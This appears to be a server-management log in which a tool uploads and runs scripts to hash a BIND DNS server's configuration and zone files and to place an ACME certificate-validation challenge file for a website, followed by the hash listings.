0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-05-24 10:33:41: Establishing a connection
2026-05-24 10:33:41: 

PUT: /tmp/pkp361521

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:33:42: 

runuser -l bind -s /bin/bash -c '/tmp/pkp361521; rm /tmp/pkp361521'

2026-05-24 10:33:42: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-24 10:33:53: Establishing a connection
2026-05-24 10:33:53: Establishing a connection
2026-05-24 10:33:53: 

PUT: /tmp/pkp486388

#!/bin/bash
if [ -d "/var/www/patientappsinc_store/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-24 10:33:53: 

chmod 755 /tmp/pkp486388; /tmp/pkp486388; rm /tmp/pkp486388

2026-05-24 10:33:53: 


1


2026-05-24 10:33:55: Establishing a connection
2026-05-24 10:33:55: 

PUT: /tmp/pkp560738

#!/bin/bash
mkdir -p "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cd "/var/www/patientappsinc_store/.well-known/acme-challenge/"
cat > _Hsvix8I3nCizrlUmK0EVe8F-mSKbBkPQ1eyFC7JQYc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
_Hsvix8I3nCizrlUmK0EVe8F-mSKbBkPQ1eyFC7JQYc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 _Hsvix8I3nCizrlUmK0EVe8F-mSKbBkPQ1eyFC7JQYc


2026-05-24 10:33:55: 

chmod 755 /tmp/pkp560738; /tmp/pkp560738; rm /tmp/pkp560738

2026-05-24 10:33:55: 




2026-05-24 10:37:27: Establishing a connection
2026-05-24 10:37:28: 

PUT: /tmp/pkp201932

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-24 10:37:28: 

runuser -l bind -s /bin/bash -c '/tmp/pkp201932; rm /tmp/pkp201932'

2026-05-24 10:37:28: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
